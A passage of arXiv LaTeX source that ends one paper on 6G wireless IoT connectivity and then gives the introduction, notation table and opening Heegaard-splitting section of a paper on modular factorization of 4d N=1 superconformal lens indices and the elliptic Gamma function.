Another example is a fleet of e-tractors equipped with sensors and computing resources to perform the mission assigned to them (e.g., harvest field ``X"). The computing resources enable each tractor to perform computation tasks on spot, thus acting as an edge-based device, and they collaborate to achieve the common goal. Tasks that cannot be performed on the vehicle will be offloaded to an available cloud infrastructure. Components within the tractor are usually connected with Time Sensitive Networking (TSN), whereas the edge-cloud communication and the tractor-to-tractor communication is wireless.
Characterizing the performance and the energy efficiency of these complex systems is a daunting task. The conventional approach has been to characterize every single device or link and technology, but this approach is too simplistic. For example, the energy expenditure of an IoT device will strongly depend on the context in which it is put, in terms of, e.g., goal of the communication or traffic behaviour. Therefore, the system performance and the total energy footprint is not just a simple sum of an average per-link or per-transaction contribution of an isolated device. A more accurate picture of the overall performance and energy consumption is obtained by taking the complex IoT system as the basic building block. At the same time, the timing characterization of the system becomes more involved, and the new ecosystem of timing metrics discussed in Section~\ref{sec:Time} must be adapted to capture the distributed interrelations~\cite{popovski21timing}.
\section{Conclusion}
This paper has provided a perspective on the evolution of wireless IoT connectivity in 6G wireless systems. In order to justify the enthusiasm towards developing new 6G systems, we have taken a critical view on 5G IoT connectivity. Specifically, we have illustrated cases that are potentially not captured by the 5G classification of IoT into mMTC and URLLC, respectively. In order to put the IoT evolution in a proper perspective, we have started from a general IoT framework in which we identify three principal uses of the data transferred from/to IoT devices: learning, inference, and data storage/exchange. This general framework has been expanded through different dimensions of wireless IoT evolution:
time, space, intelligence, and value. Finally, we have discussed the emergence of complex IoT environments, seen as building blocks that are suitable to analyze the energy efficiency of these systems.
\input{bare_jrnl.bbl}
\end{document}
|
1,477,468,750,002 | arxiv | \section{Introduction}\label{sec:intro}
Indices and partition functions of two-dimensional supersymmetric CFTs are well-known to possess modular properties.
Within the context of string theory, such properties have played a central role in the study of black holes.
For example, modularity leads to an asymptotic formula for the entropy of CFT states, the Cardy formula, which matches exactly with the Bekenstein--Hawking entropy of an associated supersymmetric black hole \cite{Strominger:1996sh,Dijkgraaf:1996it}.
Various generalizations, including near-BPS and near-extremal black holes, typically still involve this key ingredient.
A closely related application is quantum gravitational physics in AdS$_3$.
Here, modularity implies an expression for the elliptic genus as an average over the modular group, which can be beautifully interpreted in terms of the gravitational path integral \cite{Dijkgraaf:2000fq,Manschot:2007ha}.
The latter is notoriously difficult to compute from first principles, which reflects the power of modularity.
Recent work has revisited the study of supersymmetric black holes in AdS$_{d>3}$ spaces from the perspective of the dual CFT \cite{Benini:2015eyy,Hosseini:2017mds,Cabo-Bizet:2018ehj,Choi:2018hmj,Benini:2018ywd}.\footnote{See \cite{Zaffaroni:2019dhb} for a review and an extensive collection of early references.}
In particular, various asymptotic limits of the superconformal index have been shown to reproduce the Bekenstein--Hawking entropy exactly, improving the earlier efforts of \cite{Kinney:2005ej,Chang:2013fba}.\footnote{Further progress aimed at understanding the associated microstates can be found in \cite{Murthy:2020rbd,Agarwal:2020zwm,Imamura:2021ytr,Gaiotto:2021xce,Murthy:2022ien,Lee:2022vig,Imamura:2022aua,Choi:2022ovw,Chang:2022mjp,Choi:2022caq}.}
Because $d$ is larger than three, one does not expect to have modularity as an available tool.
However, in the context of AdS$_{5}$ black holes, surprisingly, an $SL(3,\mathbb{Z})$ modular-like property turns out to either feature explicitly in or underlie the original works \cite{Cabo-Bizet:2018ehj,Choi:2018hmj,Benini:2018ywd} and various follow-ups \cite{Honda:2019cio,ArabiArdehali:2019tdm,Kim:2019yrz,Cabo-Bizet:2019osg,Lezcano:2019pae,Lanir:2019abx,Cabo-Bizet:2019eaf,ArabiArdehali:2019orz,Cabo-Bizet:2020nkr,Benini:2020gjh,Cabo-Bizet:2020ewf,Amariti:2021ubd,Cassani:2021fyv,ArabiArdehali:2021nsx,Aharony:2021zkr,Ardehali:2021irq,Colombo:2021kbb,Cabo-Bizet:2021plf}.
This property is associated to the elliptic $\Gamma$ function and was first proposed in a purely mathematical context \cite{Felder_2000}.
For concreteness, we state it here:
\begin{equation}\label{eq:Y3-prop-intro}
\Gamma(z;\tau,\sigma)=e^{-i\pi Q(z;\tau,\sigma)}\Gamma\left(\tfrac{z}{\sigma};\tfrac{\tau}{\sigma},-\tfrac{1}{\sigma}\right)\Gamma\left(\tfrac{z}{\tau};\tfrac{\sigma}{\tau},-\tfrac{1}{\tau}\right)\,,
\end{equation}
while leaving a detailed discussion to the main text.
In the physical context, the elliptic $\Gamma$ function arises as the main building block of four-dimensional $\mathcal{N}=1$ gauge theory indices \cite{Dolan:2008qi}.
The relevance of the modular property to the asymptotics of the superconformal index was emphasized in \cite{Benini:2018ywd,ArabiArdehali:2019tdm,Gadde:2020bov,Goldstein:2020yvj,Jejjala:2021hlt}.
The $SL(3,\mathbb{Z})$ modular property of the elliptic $\Gamma$ function has been previously invoked in the physics literature.
It made an early appearance in \cite{Spiridonov:2012ww} in the context of anomaly matching conditions for Seiberg dual theories.
More relevant to the present work is the physical interpretation of Nieri and Pasquetti \cite{Nieri:2015yia}.
Based on a factorization property of the superconformal index of $\mathcal{N}=1$ gauge theories \cite{Yoshida:2014qwa,Peelaers:2014ima}, the authors showed that superconformal lens indices $\mathcal{I}_{L(p,1)}$ can be factorized into so-called holomorphic blocks.
Schematically:
\begin{equation}\label{eq:nieri-pasq-result}
\mathcal{I}_{L(p,1)}\cong \sum \norm{\mathcal{B}_S}^2_{f_{p}}\,.
\end{equation}
They further proposed that the factorization reflects the Heegaard-like splitting of the underlying geometry:
\begin{equation}\label{eq:l(p,1)-split-intro}
L(p,1)\times S^1 \cong \left(D_2\times T^2\right)_S\overset{f_{p}}{\sqcup}\left(D_2\times T^2\right)_S\,.
\end{equation}
The holomorphic blocks $\mathcal{B}_S$ are interpreted as partition functions on the $\left(D_2\times T^2\right)_S$ geometries.
These geometries are glued with an appropriate $SL(3,\mathbb{Z})$ element combined with orientation reversal, denoted by $f_p$, which acts on $T^3=\partial D_2\times T^2$.
The subscript $S$ indicates the action of an element inside $SL(2,\mathbb{Z})\ltimes \mathbb{Z}^2$, the group of large diffeomorphsims of $D_2\times T^2$.\footnote{This observation is left unmentioned in previous works, but forms the basis of the present work.}
A main ingredient in the proposal consists of a set of modular properties of the elliptic $\Gamma$ function.
This includes \eqref{eq:Y3-prop-intro}, which features as a special case of \eqref{eq:nieri-pasq-result}: it reflects the factorization of the $S^3\times S^1$ index of a free chiral multiplet.
This provides a remarkable physical interpretation of the modular property of the elliptic $\Gamma$ function.
In general, we note that the factorization property \eqref{eq:nieri-pasq-result} is rather distinct from the properties of ordinary modular forms.
Indeed, the property involves three functions that in general do not stand on an identical footing, although for the chiral multiplet they do.
Furthermore, there is a combined action of $SL(3,\mathbb{Z})$ and $SL(2,\mathbb{Z})\ltimes \mathbb{Z}^2$, where the former relates the variables of the holomorphic blocks while the latter is an overall transformation between the left and right hand sides (cf.\ \eqref{eq:Y3-prop-intro}).
Recently, a proposal was made for the modular interpretation of the factorization property in the inspiring work of Gadde \cite{Gadde:2020bov}.
Key to this insight is again the foundational mathematical work \cite{Felder_2000}.
There, it was already observed that the elliptic $\Gamma$ function fits into a $1$-cocycle $X_g$ for $g\in \mathcal{G}$ with $\mathcal{G}=SL(3,\mathbb{Z})\times \mathbb{Z}^{3}$, where the $\mathbb{Z}^{3}$ factor contains large gauge transformations associated to a line bundle over $T^3$.
Technically, $X_g$ is an element of $H^1(\mathcal{G},N/M)$, the first group cohomology of $\mathcal{G}$ valued in a certain function space $N/M$, which satisfies a defining $1$-cocycle condition:
\begin{equation}\label{eq:1-cocycle-felder-intro}
X_{g_1g_2}(\boldsymbol{\rho})\cong X_{g_1}(\boldsymbol{\rho})X_{g_2}(g_{1}^{-1}\boldsymbol{\rho})\,.
\end{equation}
The equality in \eqref{eq:1-cocycle-felder-intro} holds up to multiplication by functions in $M$.
This generalizes the notion of a (weak) Jacobi form, such as the elliptic genus, which can be thought of as an element of $H^0(\mathcal{J},N/M)$ for $\mathcal{J}=SL(2,\mathbb{Z})\times \mathbb{Z}^{2}$.\footnote{We review this mathematical framework in Section \ref{ssec:mod-group-cohomology}.}
In the physical context, \eqref{eq:1-cocycle-felder-intro} corresponds to a property of the collection of (normalized) lens indices of a free chiral multiplet \cite{Gadde:2020bov}.
Gadde proposes an extension to general $\mathcal{N}=1$ gauge theories by constructing a ``normalized part of the lens index'' $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ with $g\in \mathcal{G}$.
Based on holomorphic block factorization of the physical lens index, \cite{Gadde:2020bov} argues that $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ similarly satisfies a $1$-cocycle condition.
An important part of the conjecture is that $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ furnishes a non-trivial cohomology class and that local trivializations, or ``locally exact'' expressions, are related to the holomorphic block factorization.
The combined $SL(3,\mathbb{Z})$ and $SL(2,\mathbb{Z})\ltimes \mathbb{Z}^2$ action in the factorization property \eqref{eq:nieri-pasq-result} can be understood from the $1$-cocycle condition.
In particular, for the case of the $S^3\times S^1$ index, one focuses on an order three element $Y^3=1$ in $SL(3,\mathbb{Z})$, which, using the $1$-cocycle condition, implies the following equation for the normalized part of the index $\hat{\mathcal{Z}}^{\alpha}_{Y}(\boldsymbol{\rho})$ \cite{Gadde:2020bov}:
\begin{equation}\label{eq:Y3-prop-gen-intro}
\hat{\mathcal{Z}}^{\alpha}_{Y}(\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{Y}(Y^{-1}\boldsymbol{\rho})\hat{\mathcal{Z}}^{\alpha}_{Y}(Y^{-2}\boldsymbol{\rho})=e^{i\pi \mathcal{P}(\boldsymbol{\rho})}\,,
\end{equation}
where $\mathcal{P}(\boldsymbol{\rho})$ turns out to capture the 't Hooft anomalies of the theory.
With some work, this property can be translated into the factorization of the physical index.\footnote{Both technically and conceptually, this connection is not obvious. Indeed, the three functions appearing in \eqref{eq:Y3-prop-gen-intro} appear on an equal footing, whereas in the factorization property \eqref{eq:nieri-pasq-result} this is not the case. Furthermore, a physical interpretation of the normalized part of the index is somewhat obscure, whereas the functions in the factorization property have a clear physical meaning. We return to the translation between the two in Section \ref{ssec:coh-perspective}.}
In a previous paper \cite{Jejjala:2021hlt}, we proposed a generalization of this idea to more generic order three elements and suggested an interpretation in terms of additional factorization properties of the index.
In this work, we turn the logic around: we first present physical arguments for a (modular) family of factorization properties of superconformal lens indices.
We prove our proposal for general $\mathcal{N}=1$ gauge theories using, among other things, modular properties of the elliptic $\Gamma$ function that generalize \eqref{eq:Y3-prop-intro} in multiple directions.
These properties are derived in Appendix \ref{app:mod-props-Gamma} without making use of the fact that the elliptic $\Gamma$ function is part of a $1$-cocycle, as opposed to our previous work \cite{Jejjala:2021hlt}.
Based on a complete physical understanding, we are then able to provide a systematic and rigorous proof of the $1$-cocycle condition for $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$.
In particular, our approach supplies a physical interpretation of the fact that $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ defines a non-trivial cohomology class.
We now give a more detailed summary of the remainder of this paper.
\paragraph{Summary:}
In Section \ref{sec:heegaard-splitting} we review the Heegaard-like splitting of (secondary) Hopf surfaces such as \eqref{eq:l(p,1)-split-intro}, including a mapping between the complex structure moduli of the Hopf surface and the $D_2\times T^2$ geometries.
We emphasize certain ambiguities in the Heegaard splitting of a Hopf surface.
In particular, we generalize \eqref{eq:l(p,1)-split-intro} to arbitrary large diffeomorphisms $h,\tilde{h}\in SL(2,\mathbb{Z})\ltimes \mathbb{Z}^2$, where $h$ acts on the left and $\tilde{h}$ on the right $D_2\times T^2$ geometry:
\begin{equation}\label{eq:l(p,1)-split-2-intro}
L(p,q)\times S^1 \cong \left(D_2\times T^2\right)_h\overset{f_{(p,q)}}{\sqcup}\left(D_2\times T^2\right)_{\tilde{h}}\,.
\end{equation}
In Section \ref{ssec:towards-conjecture}, we tentatively propose a generalization of the factorization property \eqref{eq:nieri-pasq-result} to reflect the ambiguities in the Heegaard splitting.
Schematically:
\begin{equation}\label{eq:tent-prop}
\mathcal{I}_{L(p,q)}\cong \sum \norm{\mathcal{B}_h}^2_{f_{(p,q)}}\,.
\end{equation}
We continue in Section \ref{ssec:hol-blocks} with a comprehensive review of the holomorphic block factorization of lens indices.
In the process, we promote an observation of \cite{Nieri:2015yia} to a consistency condition: the lens index should not depend on the boundary condition imposed on $\partial D_2\times T^2$.
This condition constrains the proposal \eqref{eq:tent-prop}, as discussed in Section \ref{ssec:consistency-cond}.
In particular, we find that only certain pairs of large diffeomorphisms $(h,\tilde{h})$ are compatible with the condition, which depends on the gluing element.
This set can be parametrized in terms of modular (congruence sub)groups.
This motivates our conjecture for the \emph{modular factorization of lens indices} in Section \ref{ssec:mod-fact-conjecture}.
As an example, we obtain two $SL(2,\mathbb{Z})$ families of holomorphic blocks, which can be used to factorize the $L(p,\pm 1)\times S^1$ index for any $p\geq 1$.
In Section \ref{ssec:geom-int-univ-blocks}, we discuss a geometric interpretation of the compatible diffeomorphisms $(h,\tilde{h})$: only those Heegaard splittings which fix a ``time circle'' turn out to lead to a consistent factorization of the lens indices.
We also find that the original holomorphic block $\mathcal{B}_S$ of \cite{Nieri:2015yia} is distinguished with respect to a certain subset of gluing transformations.
Finally, we show a remarkable agreement between our physical arguments and a family of modular properties obeyed by the elliptic $\Gamma$ function, which vastly generalize \eqref{eq:Y3-prop-intro}.
Together with a few additional ingredients, these properties allow us to prove our proposal for general $\mathcal{N}=1$ gauge theories in Section \ref{ssec:evidence}.
The derivation of the modular properties is contained in Appendix \ref{app:mod-props-Gamma}.\footnote{A subset of these results appears implicitly in \cite[Theorem 3.8]{Felder_2008}.}
In Section \ref{sec:gen-modularity}, we review relevant aspects of group cohomology.
We then show how the modular factorization of lens indices can be used to prove the $1$-cocycle condition systematically.
The strategy of the proof follows the original mathematical work \cite{Felder_2000}, which can be viewed as a proof for the example of the free chiral multiplet.
We also show that $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ defines a non-trivial cohomology class, which we connect to the restricted compatibility of large diffeomorphisms $(h,\tilde{h})$ with the factorization of a given index.
Finally, we return to the perspective of our previous work \cite{Jejjala:2021hlt}, showing how the modular factorization can also be obtained from relations in $SL(3,\mathbb{Z})$ that generalize $Y^3=1$ referred to above.
In Section \ref{sec:gen-lens-index}, we turn to an application of the $1$-cocycle condition: a concrete formula for the $L(p,q)\times S^1$ index for $q>1$.
Up until now, such a formula has been absent in the literature.
We test our formula in context of the free chiral multiplet by subjecting it to various consistency checks.
Finally, we end the paper in Section \ref{sec:sum-future} with a discussion of future directions, including implications for supersymmetric AdS$_5$ black holes and modular properties of indices.
In Appendix \ref{app:defs}, we collect the definitions and properties of special functions appearing in the main text.
In Appendix \ref{app:hopf-surfaces}, we review of secondary Hopf surfaces with topology $L(p,q)\times S^1$ and their Heegaard splitting.
In Appendix \ref{app:lens-indices}, we collect the contour integral expressions of lens indices for general gauge theories.
In Appendix \ref{app:mod-props-Gamma}, we derive various modular properties of the elliptic $\Gamma$ function.
For the reader's convenience, Table \ref{tab:notation} supplies a glossary of notation.
\newpage
\vspace*{\fill}
{\small
\begin{table}[H]
\centering
\begin{tabular}{c|c|c}
$\mathcal{G}$ & gluing group: $SL(3,\mathbb{Z})\ltimes \mathbb{Z}^{3r}$ & \eqref{eq:def-mathcalG} \\
$H$ & large diffeomorphisms of $D_2\times T^2$: $SL(2,\mathbb{Z})_{13}\ltimes \mathbb{Z}^2 $ & \eqref{eq:def-H}\\
$\mathcal{H}$ & $H$ with large gauge symmetries: $ SL(2,\mathbb{Z})_{13}\ltimes \mathbb{Z}^{2(r+1)}$ & \eqref{eq:defn-calH}\\
$f$ & gluing element $f=g\,\mathcal{O}$ with $g\in\mathcal{G}$ and $\mathcal{O}$ orientation reversal & \eqref{eq:Mg-defn-lambda-mu}\\
$S_f$ & set of compatible $(h,\tilde{h})$ for a given $f$ & \eqref{eq:h-ht-Lens-gen}\\
$F$ &subgroup of $\mathcal{G}$ that fixes time circle: $SL(2,\mathbb{Z})_{12}\ltimes \mathbb{Z}^{2}$ & \eqref{eq:def-F1}\\
$F_h$ &
$h^{-1}F\mathcal{O}h\mathcal{O}$ with $h \in H$
& \eqref{eq:FhDef}\\
$\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})$ & Hopf surface of topology $L(p,q)\times S^1$& \eqref{eq:notation-hopf-surface} \\
$\hat{\boldsymbol{\rho}}$ & moduli of the Hopf surface & \eqref{eq:hat-rho}\\
$M_f(\boldsymbol{\rho}, \tilde{\boldsymbol{\rho} })$ &
Heegaard splitting of Hopf surface
& \eqref{eq:notation-Mg-split} \\
$\boldsymbol{\rho}$ & $(\vec{z}; \tau, \sigma)
$, moduli of left $D_2\times T^2$ geometry
& \eqref{eq:rho-homog}\\
$\tilde{\boldsymbol{\rho}}$ & $(\vec{\tilde{z}}; \tilde{\tau}, \tilde{\sigma})$, moduli of right $D_2\times T^2$ geometry & \eqref{eq:gluing-condition} \\
$\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})$ & supersymmetric partition function on $\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})$ & \eqref{eq:notation-lens-index} \\
$\mathcal{Z}_f(\boldsymbol{\rho})$ & $\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})$ with Heegaard splitting $M_f(\boldsymbol{\rho}, \tilde{\boldsymbol{\rho} })$ & \eqref{eq:defn-Zf-notation} \\
$\mathcal{Z}^{\alpha}_f(\boldsymbol{\rho})$ & contribution to $\mathcal{Z}_f(\boldsymbol{\rho})$ at Higgs branch vacuum $\alpha$ & \eqref{eq:lens-higgs-form} \\
$Z_f(\boldsymbol{\rho})$ & free chiral multiplet partition function & \eqref{eq:Zchiralmultiplet} \\
$\hat{\mathcal{Z}}^{\alpha}_g(\boldsymbol{\rho})$ & normalized part index at vacuum $\alpha$ & \eqref{eq:defn-hatZ}\\
$\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ & partition function on $D_2\times T^2(\boldsymbol{\rho})$ at vacuum $\alpha$%
& below \eqref{eq:schem-Zg-Bh-fact} \\
$\mathcal{B}^{\alpha}_{h}(\boldsymbol{\rho})$ & $\mathcal{B}^{\alpha}(h\boldsymbol{\rho})$ with $h\in \mathcal{H}$ & \eqref{eq:defn-Bh} \\
$\mathcal{C}^{\alpha}(\boldsymbol{\rho})$ & partition function on $D_2\times T^2(\boldsymbol{\rho})$ at vacuum $\alpha$%
& %
\\
& %
\qquad \qquad \qquad \qquad \qquad \qquad \qquad with b.c.\ opposite of $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ & \eqref{eq:dir-block-rob-block-reln} %
\end{tabular}
\caption{Summary of notation, with equations in which they are first defined. }
\label{tab:notation}
\end{table}
}
\vspace*{\fill}
\newpage
\section{Heegaard splitting of \texorpdfstring{$\bm{L(p,q)\times S^1}$}{L(p,q)xS1}}\label{sec:heegaard-splitting}
In this section, we review the Heegaard splitting of lens spaces $L(p,q)$ and discuss the generalization to (secondary) Hopf surfaces of topology $L(p,q)\times S^1$.
We end with a discussion of ambiguities in the Heegaard splitting of a Hopf surface, which will play a central role in the remainder of this paper.
\subsection{Topological aspects}\label{ssec:top-aspects}
The Heegaard splitting of a general smooth three-manifold $M_3$ is the statement that $M_3$ is obtained from the gluing of two genus $g$ handlebodies $H_g$ and $H_g'$:\footnote{See Chapter 1 of \cite{saveliev1999} for a pedagogical review.}
\begin{equation}\label{eq:3d-heegaard-split}
M_3\cong H_g\overset{f}{\sqcup}H_g'\,,
\end{equation}
where the boundary $\Sigma_g=\partial H_g$ is identified with $\Sigma_g'=\partial H_g'$ up to the action of an orientation reversing diffeomorphism $f$.
We will be interested in the lens space $L(p,q)$, which can be defined as a quotient of the three-sphere $S^3$ viewed as a subset of $\mathbb{C}^2$:\footnote{The minus sign in the phase is conventional in the physics literature \cite{Benini:2011nc,Razamat:2013opa,Closset:2013vra}. It reflects the standard choice of supercharge used to define the associated lens index (see Appendix \ref{app:lens-indices}).}
\begin{equation}\label{eq:lens-quotient}
(z_1,z_2)\sim (e^{\frac{ 2\pi i q}{p} }z_1,e^{-\frac{2\pi i}{p} }z_2)\qquad \Longleftrightarrow \qquad (z_1,z_2)\sim (e^{\frac{ 2\pi i }{p} }z_1,e^{-\frac{2\pi is}{p} }z_2)\,,
\end{equation}
with $\gcd(p,q)=1$.
For later convenience, we have introduced an equivalent description in terms of $s=q^{-1}\mod p$.
Both $q$ and $s$ are defined $\mod p$.
We note that $L(1,0)= S^3$ and the fundamental group $\pi_1(L(p,q))=\mathbb{Z}_p$.
Every lens space admits a genus $1$ Heegaard splitting \cite{saveliev1999}.
The relevant (large) diffeomorphisms $f$ are classified by $SL(2,\mathbb{Z})$, the mapping class group of $T^2$, and in the following we consider $f$ to be an element of $SL(2,\mathbb{Z})$ combined with orientation reversal.
Let us denote the non-contractible and contractible cycles on either $H_1=D_2\times S^1$ by $(\lambda,\mu)$ and $(\tilde{\lambda},\tilde{\mu})$, respectively.
The gluing transformation $f$ identifies these cycles as:
\begin{equation}\label{eq:3d-lens-space-sl2-defn}
\begin{pmatrix}\tilde{\mu}&\; \tilde{\lambda} \end{pmatrix}=\begin{pmatrix}\mu &\; \lambda\end{pmatrix} f^{-1}\,,
\end{equation}
where for $L(p,q)$ the transformation $f$ is given by:
\begin{equation}
f=g\,\mathcal{O}\,,\qquad g=\begin{pmatrix}
-s & -r \\
-p & -q
\end{pmatrix}\,,\quad \mathcal{O}= \begin{pmatrix}
-1 & 0 \\
0 & 1
\end{pmatrix}\,,\quad qs-pr=1 \,.
\end{equation}
This description realizes $L(p,q)$ as a torus fibration over an interval with a $(1,0)$ cycle shrinking on one endpoint and a $(q,p)$ cycle on the other (see Appendix \ref{sapp:LpqS1}).
The slightly awkward convention for the entries of $g$ will facilitate comparison with the literature on indices.
See Figure \ref{fig:heeg-Lpq} for an illustration.
When $g$ is the identity matrix, the manifold is $S^2\times S^1$, denoted as $L(0,-1)$.
\begin{figure}[t]
\centering
\begin{subfigure}[t]{0.49\textwidth}
\centering
\begin{tikzpicture}
\node (rho1) at (1,-1) {};
\node (rho2) at (2,-1) {};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (e2) at (0,0) {$\mu$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e3) at (0,-2) {$\lambda$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (f2) at (3,0) {$\tilde{\mu}$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (f3) at (3,-2) {$\tilde{\lambda}$};
\draw [-latex][dashed] (rho2) -- node[above=1.5mm] {$f$} (rho1) ;
\end{tikzpicture}
\caption{Heegaard splitting of $L(p,q)$.}
\label{fig:heeg-Lpq}
\end{subfigure}
\hfill
\begin{subfigure}[t]{0.49\textwidth}
\centering
\begin{tikzpicture}
\node (rho1) at (1,-2) {};
\node (rho2) at (2,-2) {};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e1) at (0,0) {$\lambda'$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (e2) at (0,-2) {$\mu$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e3) at (0,-4) {$\lambda$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (f1) at (3,0) {$\tilde{\lambda}'$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (f2) at (3,-2) {$\tilde{\mu}$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (f3) at (3,-4) {$\tilde{\lambda}$};
\draw [-latex][dashed] (rho2) -- node[above=1.5mm] {$f$} (rho1) ;
\end{tikzpicture}
\caption{Heegaard splitting $L(p,q)\times S^1$}
\label{fig:heeg-LpqS1}
\end{subfigure}
\caption{On the left, we depict two solid tori $D_{2}\times S^1$ with their cycles identified by $f=g\,\mathcal{O}$ with $g\in SL(2,\mathbb{Z})$ as in \eqref{eq:3d-lens-space-sl2-defn}. Similarly, on the right we depict $D_{2}\times T^2$ geometries with their cycles identified by $f=g\,\mathcal{O}$ with $g\in SL(3,\mathbb{Z})$ as in \eqref{eq:Mg-defn-lambda-mu}.}
\label{fig:solid-2tori-gluing}
\end{figure}
Clearly, the description of the lens space in terms of $f$ is redundant when compared to the quotient definition \eqref{eq:lens-quotient}.
These redundancies can be fixed with symmetries of the Heegaard splitting.
For example, two lens spaces are diffeomorphic if their Heegaard splittings are related through:
\begin{equation}
f'=f^{-1}\qquad \text{or}\qquad f'=\pm \mathcal{O}f\mathcal{O}\,.
\end{equation}
The first transformation exchanges $q\leftrightarrow s$, while the second maps $q\to -q$ and $s\to -s$.
In addition, consider the group of large diffeomorphisms of a solid torus.
This is the subgroup of $SL(2,\mathbb{Z})$ that preserves the contractible cycle $\mu$.
It is usually denoted by $\Gamma_{\infty}$ and corresponds to the integer shifts $\lambda\to \lambda+k\mu$.
The action on either solid torus should not change the topology, so that the manifolds associated to $f$ and $f'$ are diffeomorphic when:
\begin{equation}\label{eq:large-diffeos-M3}
f'=\gamma f\tilde{\gamma}^{-1}\,,\qquad \gamma,\tilde{\gamma}\in \Gamma_{\infty}\,.
\end{equation}
These transformations are generated by $(q,r)\to (q+p,r+s)$ and $(s,r)\to (s+p,r+q)$.
Taken together, we see that $f$ modulo the ambiguities implies that $L(p_1,q_1)$ and $L(p_2,q_2)$ are diffeomorphic if:
\begin{equation}\label{eq:Homeomorphic-condition}
p_1=p_2\,,\qquad q_1=\pm q_2^{\pm 1}\mod p_1\,,
\end{equation}
as consistent with the quotient definition.
It turns out that this is also a necessary condition \cite{reidemeister1935homotopieringe}.%
Let us now proceed with the four-manifolds $L(p,q)\times S^1$.
In this case, the Heegaard-like splitting glues together two $D_2\times T^2$ geometries along their boundary $T^3$ (see Figure \ref{fig:heeg-LpqS1}).
In general, the gluing map takes its value in $SL(3,\mathbb{Z})$, and the Heegaard splitting is defined through the identification:
\begin{equation}\label{eq:Mg-defn-lambda-mu}
\begin{pmatrix}\tilde{\lambda}'&\; \tilde{\mu} &\; \tilde{\lambda}\end{pmatrix}=\begin{pmatrix}\lambda'&\; \mu &\; \lambda\end{pmatrix}\,f^{-1}\,,\qquad f=g \, \mathcal{O}\,,\quad g\in SL(3,\mathbb{Z})\,,\quad \mathcal{O}= \begin{pmatrix}
1 & 0 & 0\\
0 & -1 & 0 \\
0 & 0 & 1
\end{pmatrix}\,,
\end{equation}
where $\mu$ and $\tilde{\mu}$ indicate the contractible cycles.
To understand how a general $SL(3,\mathbb{Z})$ transformation realizes $L(p,q)\times S^1$, let us first describe the group $SL(3,\mathbb{Z})$ in some detail.
This group is generated by the elementary matrices $\{T_{ij}\}$ with $1\leq i\neq j\leq 3$, which are defined as $3\times 3$ matrices that differ from the identity matrix by the entry $1$ at the position $ij$.
These obey the following relations:
\begin{equation}\label{eq:sl3-relns}
\begin{aligned}
& T_{ij}T_{kl}=T_{kl}T_{ij} \quad (i\neq l , j\neq k)\,,\qquad T_{ij}T_{jk}=T_{ik}T_{jk}T_{ij} \,,\qquad (T_{ij}T^{-1}_{ji}T_{ij})^4=\mathbbm{1} \,.
\end{aligned}
\end{equation}
Note that there are three obvious $SL(2,\mathbb{Z})$ subgroups in $SL(3,\mathbb{Z})$:
\begin{equation}\label{eq:defn-SL2ij}
SL(2,\mathbb{Z})_{ij}\equiv \langle T_{ij},S_{ij} \rangle \,,\quad S_{ij}\equiv T_{ij}T^{-1}_{ji}T_{ij}\,,
\end{equation}
where we take $j>i$ and $S_{ij}$ and $T_{ij}$ correspond to the usual $S$ and $T$ generators.
Similar to the three-dimensional case, the large diffeomorphisms of $D_2\times T^2$ consist of those $SL(3,\mathbb{Z})$ transformations that fix $\mu$ \cite{Gadde:2020bov}.
Explicitly, they are given by:
\begin{equation}\label{eq:def-H}
\begin{aligned}
H\equiv SL(2,\mathbb{Z})_{13}\ltimes \mathbb{Z}^2 \,, \quad \textrm{with} \quad \mathbb{Z}^2 &= \langle T_{21}\,,T_{23}\rangle\,.
\end{aligned}
\end{equation}
A general element inside $H$ has the property that its $12$ and $32$ entries vanish, and its $22$ entry is equal to 1:
\begin{equation}\label{eq:h-shape}
h=\begin{pmatrix}
* & 0 & * \\
* & 1 & * \\
* & 0 & *
\end{pmatrix} \qquad \textrm{for} \quad h\in H\subset SL(3,\mathbb{Z})\,.
\end{equation}
This subgroup will play an important role in this paper.
Similar to the three-dimensional case, the manifolds associated to $f$ and $f'$ are diffeomorphic if they are related by any of the following relations:
\begin{equation}\label{eq:heeg-syms-top}
\begin{alignedat}{2}
f'&=hf\tilde{h}^{-1}\,,\qquad f'=f^{-1}=\mathcal{O}g^{-1}\,,\qquad f'=\mathcal{O}f^{-1}\mathcal{O}=g^{-1}\,\mathcal{O}\,,
\end{alignedat}
\end{equation}
where $h,\tilde{h}\in H$ and the last transformation combines inversion with conjugation by $\mathcal{O}$.
We can use the first relation to show that the gluing of two $D_2\times T^2$ geometries with $f'=g'\,\mathcal{O}$ for general $g'\in SL(3,\mathbb{Z})$ produces a manifold diffeomorphic to $L(p,q)\times S^1$ for some $(p,q)$.
In particular, one can always find $h,\tilde{h}\in H$ for some $g_{(p,q)}$ such that:
\begin{equation}\label{eq:gSL2-from-gSL3}
